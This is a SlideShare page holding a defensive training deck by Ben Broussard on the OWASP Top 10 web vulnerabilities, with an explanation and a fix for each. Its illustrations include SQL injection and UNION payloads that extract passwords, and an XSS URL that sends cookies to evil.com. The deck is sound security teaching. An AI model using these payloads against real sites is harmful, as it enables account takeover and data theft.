SlideShare ist ein Scribd-Unternehmen logo
1 von 25
What are they?
     Why do attackers use them?
How can we protect against them?

                 By: Ben Broussard
Who is Ben Broussard?
   Austin OWASP board member
   Fearless leader of OWASP Study Group (free training!)
   President of Kedalion Security, LLC.
   Background:
     BS in Mathematics from UT Austin (crypto)
     Mainframe and web app programmer for UT
     Web app security interest led to OWASP involvement
     OWASP involvement led to Infosec career (Kedalion)
 Gymnastics, AI, Braainnsss, Simulations, Kung Fu,
    Mathlete, Bboy, Foodie, and more!
TOP 10

1.   Injection              6. Security
2. Cross-Site Scripting
                               Misconfiguration
     (XSS)                  7. Insecure Cryptographic
3. Broken Authentication
                               Storage
     and Session            8. Failure to Restrict URL
     Management                Access
4. Insecure Direct Object   9. Insufficient Transport
     Reference                 Layer Protection
5. Cross-Site Request       10. Unvalidated Redirects
     Forgery (CSRF)            and Forwards
1. Injection
 SQL:
   query = “SELECT * FROM table WHERE column =
    „“ + input + “‟;”
   Attacker’s input: x‟ or „x‟=„x
   Resulting query: SELECT * FROM table WHERE
    column = „x‟ or „x‟=„x‟;
 Other types of injection include XML, Command, and
 anywhere untrusted input is placed in an eval-like
 statement.
1. Injection (cont.)
 Why: These attacks inject code into the running
  program. What could the program do? That is what
 injected code can do.

 How: Depends on the platform. Best solution is
  Parameterized Queries. Don’t treat data like code.
 Don’t put data in the equivalent of an eval statement.
2. Cross-Site Scripting
 There are fewer flavors of jelly beans.
 Reflected vs Persistent or Stored
 Attack could be a link to be clicked on, or part of an
  open redirect, or any clever scheme the attacker
  dreams up:
   Attack URL:
    www.example.com/search?query=<script>document
    .location = “evil.com?cookie=“ +
    document.cookie;</script>
2. Cross-Site Scripting (cont.)
 Why: An attacker can steal cookies and masquerade as
  the victim, make the victim site look like anything,
 and take many actions that the victim can such as
 submitting forms.

 How: Entity encoding. This is how a technical blog
 shows HTML code without the browser executing that
 code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.
3. Broken Authentication and
Session Management
 This issue is common because it is difficult:
    Highly technical involving cookie intricacies, the
     request-response model, the same-origin policy,
     cryptography and more
 Attacks include session fixation, cookie generation or
  brute-forcing, direct browsing, forced logout/lockout,
 open redirects, cookie capture, CSRF, inadequate
 logout, password reset/account creation, user
 enumeration, and much more
3. Broken Authentication and
Session Management (cont.)
 Why: These attacks allow attackers to take actions as
  valid users and attack users directly.

 How: This is hard. If possible use a standard library. If
  not, make sure you cover cryptographic cookie
  strength, a framework that covers all pages that
  require authentication, noncing, SSL, refreshing the
  cookie upon login, and pay special attention to
  account creation, password reset, logout/lockout, and
  re-login.
4. Insecure Direct Object Reference
 www.example.com/cart.php?cartid=413
 Change cartid=413 to cartid=412


 Due to a lack of Authorization checking
 Systemic of trusting the client
 Surprisingly common and the easiest vulnerability to
 exploit
4. Insecure Direct Object Reference
(cont.)
 Why: An attacker can access other users’ sensitive data
  and often take actions as other users.

 How: Implement proper Authentication and validate
 user input. This issue implies a lack of developer
 security training, as it is the most obvious
 vulnerability, and shows that the developer trusts the
 client to enforce user actions. Is there a hidden price
 field, too?
5. Cross-Site Request Forgery
 This attack is complex to understand but simple to
  execute and extremely common.
 Pieces:
    Cookies are sent with every request to the domain they
     are set for. This is how login is maintained.
    HTML pages cause your browser to make many
     requests: images, scripts, redirects, iframes, etc.
    Your browser can be forced to send a request that takes
     an action to a domain you are logged into.
5. Cross-Site Request Forgery
(cont.)
 Why: Attackers can force logged in users to take
  actions: password update, funds transfer, grant
 privileges, update direct deposit info, anything

 How: Make sure no XSS exists on domain or any
  subdomains. Implement a nonce system (tied to the
 user) on forms which take actions. This way, only
 requests that contain the nonce are valid. Stops an
 attacker from crafting a valid request to force your
 browser to make.
6. Security Misconfiguration
 Examples include:
    Default accounts
    Lack of SSL
    Enabled insecure features (php include, SSI)
    Out of date patch levels (IIS 6 or below, old Tomcat)
    Web server running as root with execution rights to
     upload directories
 This is a very broad category
6. Security Misconfiguration (cont.)
 Why: Often these lead to shell upload and complete
  compromise, but the vulnerability depends on the
 misconfigured functionality.

 How: Procedures are the answer here. Have a review
  process for all implemented technologies and a patch
 process with quick turnover. This category is too broad
 for a good answer.
7. Insecure Cryptographic Storage
 The number one issue here is lack of proper password
  storage. Plaintext passwords are the opposite of
  defense in depth.
 SQL injection attack to get passwords:
   x‟ UNION SELECT column_name, table_name,
    null, …, null FROM information_schema.columns
    WHERE column_name LIKE „%pass%‟;--
   x‟ UNION SELECT passwd, null, …, null FROM
    user_details1;--
7. Insecure Cryptographic Storage
(cont.)
 Why: Sensitive data is an attacker’s goal. If they
  succeed at their goal of obtaining access, that doesn’t
  mean that have the data. If it isn’t properly encrypted,
  then it does.

 How: Encrypt sensitive data. Enforce proper key
  management.
8. Failure to Restrict URL Access
 This is really failure to validate Authorization on every
  page.
 Most common for static pages which should require
  Authorization such as access to a blog, sensitive
  document, or downloadable materials.
 Less common for dynamic pages, since user details
  need to be taken into account to create the dynamic
  page.
8. Failure to Restrict URL Access
(cont.)
 Why: Bypassing authorization allows an attacker to
  take actions or view data they wouldn’t otherwise be
 able to take. The value of these actions or data is the
 value of this attack.

 How: Implement Authentication validation in a
 framework sort of way. Page-by-page makes it easy to
 leave pages out. Opt-out Authorization checking as
 opposed to opt-in.
9. Insufficient Transport Layer
Protection
 Lack of SSL
    For request containing credentials
    For request to get login page
    For any page after login (session cookies, firesheep)
    For any page containing authentication details (pre-
     login session cookie or cart id)
    Any time sensitive data is being submitted (sometimes
     login isn’t required to submit a form, but SSL may be)
 Other protocols too: SSH, SFTP, VPN, etc.
9. Insufficient Transport Layer
Protection (cont.)
 Why: Grabbing cookies allows an attacker to
  masquerade as a valid user. Grabbing data is pretty
 much the point.

 How: Implement SSL everywhere it is needed,
  including pre-logon areas if there is a pre-logon
 session. Disable port 80 if possible. Make sure that
 cookies have the “Secure” flag on them.
10. Unvalidated Redirects and
Forwards
 Redirects are a necessity:
    Login after session timeout
    Many forms validate input and redirect to next step
    Retired pages and sites redirect to the new location
 If user input is used as the redirection location and
  can be any location on the Internet, then an attacker
  can:
   Craft a better phishing attack (to deliver malware or
    gather credentials)
   Bypass referer checking for CSRF attacks
10. Unvalidated Redirects and
Forwards (cont.)
 Why: Plausability: their fishing attacks contain links
  to trusted sites. Also, the site may accept requests that
  it forces users to make more readily.

 How: Validate redirection locations. There is rarely
  cause for a fully dynamic redirect. Use POST requests
  for requests that take actions or change data (like W3C
  says to).
Questions?

1.   Injection              6. Security
2. Cross-Site Scripting
                               Misconfiguration
     (XSS)                  7. Insecure Cryptographic
3. Broken Authentication
                               Storage
     and Session            8. Failure to Restrict URL
     Management                Access
4. Insecure Direct Object   9. Insufficient Transport
     Reference                 Layer Protection
5. Cross-Site Request       10. Unvalidated Redirects
     Forgery (CSRF)            and Forwards
The only bull here is mechanical

Weitere ähnliche Inhalte

Was ist angesagt?

Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
Deepu S Nath
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session management
Nikola Milosevic
 

Was ist angesagt? (20)

OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentation
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
 
Security asp.net application
Security asp.net applicationSecurity asp.net application
Security asp.net application
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
Web Security
Web SecurityWeb Security
Web Security
 
AuthN & AuthZ testing: it’s not only about the login form
AuthN & AuthZ testing:  it’s not only about the login formAuthN & AuthZ testing:  it’s not only about the login form
AuthN & AuthZ testing: it’s not only about the login form
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Chapter4:Be The Attacker
Chapter4:Be The Attacker Chapter4:Be The Attacker
Chapter4:Be The Attacker
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session management
 
Chapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The ClientChapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The Client
 
Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
 
Analysis of web application penetration testing
Analysis of web application penetration testingAnalysis of web application penetration testing
Analysis of web application penetration testing
 
Chapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat modelsChapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat models
 
Php security common 2011
Php security common 2011Php security common 2011
Php security common 2011
 
Chapter1:information security overview
Chapter1:information security overview Chapter1:information security overview
Chapter1:information security overview
 

Ähnlich wie OWASPTop 10

Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
SilverGold16
 
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013 Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Lostar
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 

Ähnlich wie OWASPTop 10 (20)

Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Pci compliance writing secure code
Pci compliance   writing secure codePci compliance   writing secure code
Pci compliance writing secure code
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013 Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
 
Security 101
Security 101Security 101
Security 101
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 

Mehr von InnoTech

Mehr von InnoTech (20)

"So you want to raise funding and build a team?"
"So you want to raise funding and build a team?""So you want to raise funding and build a team?"
"So you want to raise funding and build a team?"
 
Artificial Intelligence is Maturing
Artificial Intelligence is MaturingArtificial Intelligence is Maturing
Artificial Intelligence is Maturing
 
What is AI without Data?
What is AI without Data?What is AI without Data?
What is AI without Data?
 
Courageous Leadership - When it Matters Most
Courageous Leadership - When it Matters MostCourageous Leadership - When it Matters Most
Courageous Leadership - When it Matters Most
 
The Gathering Storm
The Gathering StormThe Gathering Storm
The Gathering Storm
 
Sql Server tips from the field
Sql Server tips from the fieldSql Server tips from the field
Sql Server tips from the field
 
Quantum Computing and its security implications
Quantum Computing and its security implicationsQuantum Computing and its security implications
Quantum Computing and its security implications
 
Converged Infrastructure
Converged InfrastructureConverged Infrastructure
Converged Infrastructure
 
Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365
 
Blockchain use cases and case studies
Blockchain use cases and case studiesBlockchain use cases and case studies
Blockchain use cases and case studies
 
Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential
 
Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?
 
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
 
Using Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to LifeUsing Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to Life
 
User requirements is a fallacy
User requirements is a fallacyUser requirements is a fallacy
User requirements is a fallacy
 
What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio
 
Disaster Recovery Plan - Quorum
Disaster Recovery Plan - QuorumDisaster Recovery Plan - Quorum
Disaster Recovery Plan - Quorum
 
Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2
 
Sp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner sessionSp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner session
 
Power apps presentation
Power apps presentationPower apps presentation
Power apps presentation
 

Kürzlich hochgeladen

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Victor Rentea
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 

Kürzlich hochgeladen (20)

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 

OWASPTop 10

  • 1. What are they? Why do attackers use them? How can we protect against them? By: Ben Broussard
  • 2. Who is Ben Broussard?  Austin OWASP board member  Fearless leader of OWASP Study Group (free training!)  President of Kedalion Security, LLC.  Background:  BS in Mathematics from UT Austin (crypto)  Mainframe and web app programmer for UT  Web app security interest led to OWASP involvement  OWASP involvement led to Infosec career (Kedalion)  Gymnastics, AI, Braainnsss, Simulations, Kung Fu, Mathlete, Bboy, Foodie, and more!
  • 3. TOP 10 1. Injection 6. Security 2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic 3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access 4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection 5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  • 4. 1. Injection  SQL:  query = “SELECT * FROM table WHERE column = „“ + input + “‟;”  Attacker’s input: x‟ or „x‟=„x  Resulting query: SELECT * FROM table WHERE column = „x‟ or „x‟=„x‟;  Other types of injection include XML, Command, and anywhere untrusted input is placed in an eval-like statement.
  • 5. 1. Injection (cont.)  Why: These attacks inject code into the running program. What could the program do? That is what injected code can do.  How: Depends on the platform. Best solution is Parameterized Queries. Don’t treat data like code. Don’t put data in the equivalent of an eval statement.
  • 6. 2. Cross-Site Scripting  There are fewer flavors of jelly beans.  Reflected vs Persistent or Stored  Attack could be a link to be clicked on, or part of an open redirect, or any clever scheme the attacker dreams up:  Attack URL: www.example.com/search?query=<script>document .location = “evil.com?cookie=“ + document.cookie;</script>
  • 7. 2. Cross-Site Scripting (cont.)  Why: An attacker can steal cookies and masquerade as the victim, make the victim site look like anything, and take many actions that the victim can such as submitting forms.  How: Entity encoding. This is how a technical blog shows HTML code without the browser executing that code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.
  • 8. 3. Broken Authentication and Session Management  This issue is common because it is difficult:  Highly technical involving cookie intricacies, the request-response model, the same-origin policy, cryptography and more  Attacks include session fixation, cookie generation or brute-forcing, direct browsing, forced logout/lockout, open redirects, cookie capture, CSRF, inadequate logout, password reset/account creation, user enumeration, and much more
  • 9. 3. Broken Authentication and Session Management (cont.)  Why: These attacks allow attackers to take actions as valid users and attack users directly.  How: This is hard. If possible use a standard library. If not, make sure you cover cryptographic cookie strength, a framework that covers all pages that require authentication, noncing, SSL, refreshing the cookie upon login, and pay special attention to account creation, password reset, logout/lockout, and re-login.
  • 10. 4. Insecure Direct Object Reference  www.example.com/cart.php?cartid=413  Change cartid=413 to cartid=412  Due to a lack of Authorization checking  Systemic of trusting the client  Surprisingly common and the easiest vulnerability to exploit
  • 11. 4. Insecure Direct Object Reference (cont.)  Why: An attacker can access other users’ sensitive data and often take actions as other users.  How: Implement proper Authentication and validate user input. This issue implies a lack of developer security training, as it is the most obvious vulnerability, and shows that the developer trusts the client to enforce user actions. Is there a hidden price field, too?
  • 12. 5. Cross-Site Request Forgery  This attack is complex to understand but simple to execute and extremely common.  Pieces:  Cookies are sent with every request to the domain they are set for. This is how login is maintained.  HTML pages cause your browser to make many requests: images, scripts, redirects, iframes, etc.  Your browser can be forced to send a request that takes an action to a domain you are logged into.
  • 13. 5. Cross-Site Request Forgery (cont.)  Why: Attackers can force logged in users to take actions: password update, funds transfer, grant privileges, update direct deposit info, anything  How: Make sure no XSS exists on domain or any subdomains. Implement a nonce system (tied to the user) on forms which take actions. This way, only requests that contain the nonce are valid. Stops an attacker from crafting a valid request to force your browser to make.
  • 14. 6. Security Misconfiguration  Examples include:  Default accounts  Lack of SSL  Enabled insecure features (php include, SSI)  Out of date patch levels (IIS 6 or below, old Tomcat)  Web server running as root with execution rights to upload directories  This is a very broad category
  • 15. 6. Security Misconfiguration (cont.)  Why: Often these lead to shell upload and complete compromise, but the vulnerability depends on the misconfigured functionality.  How: Procedures are the answer here. Have a review process for all implemented technologies and a patch process with quick turnover. This category is too broad for a good answer.
  • 16. 7. Insecure Cryptographic Storage  The number one issue here is lack of proper password storage. Plaintext passwords are the opposite of defense in depth.  SQL injection attack to get passwords:  x‟ UNION SELECT column_name, table_name, null, …, null FROM information_schema.columns WHERE column_name LIKE „%pass%‟;--  x‟ UNION SELECT passwd, null, …, null FROM user_details1;--
  • 17. 7. Insecure Cryptographic Storage (cont.)  Why: Sensitive data is an attacker’s goal. If they succeed at their goal of obtaining access, that doesn’t mean that have the data. If it isn’t properly encrypted, then it does.  How: Encrypt sensitive data. Enforce proper key management.
  • 18. 8. Failure to Restrict URL Access  This is really failure to validate Authorization on every page.  Most common for static pages which should require Authorization such as access to a blog, sensitive document, or downloadable materials.  Less common for dynamic pages, since user details need to be taken into account to create the dynamic page.
  • 19. 8. Failure to Restrict URL Access (cont.)  Why: Bypassing authorization allows an attacker to take actions or view data they wouldn’t otherwise be able to take. The value of these actions or data is the value of this attack.  How: Implement Authentication validation in a framework sort of way. Page-by-page makes it easy to leave pages out. Opt-out Authorization checking as opposed to opt-in.
  • 20. 9. Insufficient Transport Layer Protection  Lack of SSL  For request containing credentials  For request to get login page  For any page after login (session cookies, firesheep)  For any page containing authentication details (pre- login session cookie or cart id)  Any time sensitive data is being submitted (sometimes login isn’t required to submit a form, but SSL may be)  Other protocols too: SSH, SFTP, VPN, etc.
  • 21. 9. Insufficient Transport Layer Protection (cont.)  Why: Grabbing cookies allows an attacker to masquerade as a valid user. Grabbing data is pretty much the point.  How: Implement SSL everywhere it is needed, including pre-logon areas if there is a pre-logon session. Disable port 80 if possible. Make sure that cookies have the “Secure” flag on them.
  • 22. 10. Unvalidated Redirects and Forwards  Redirects are a necessity:  Login after session timeout  Many forms validate input and redirect to next step  Retired pages and sites redirect to the new location  If user input is used as the redirection location and can be any location on the Internet, then an attacker can:  Craft a better phishing attack (to deliver malware or gather credentials)  Bypass referer checking for CSRF attacks
  • 23. 10. Unvalidated Redirects and Forwards (cont.)  Why: Plausability: their fishing attacks contain links to trusted sites. Also, the site may accept requests that it forces users to make more readily.  How: Validate redirection locations. There is rarely cause for a fully dynamic redirect. Use POST requests for requests that take actions or change data (like W3C says to).
  • 24. Questions? 1. Injection 6. Security 2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic 3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access 4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection 5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  • 25. The only bull here is mechanical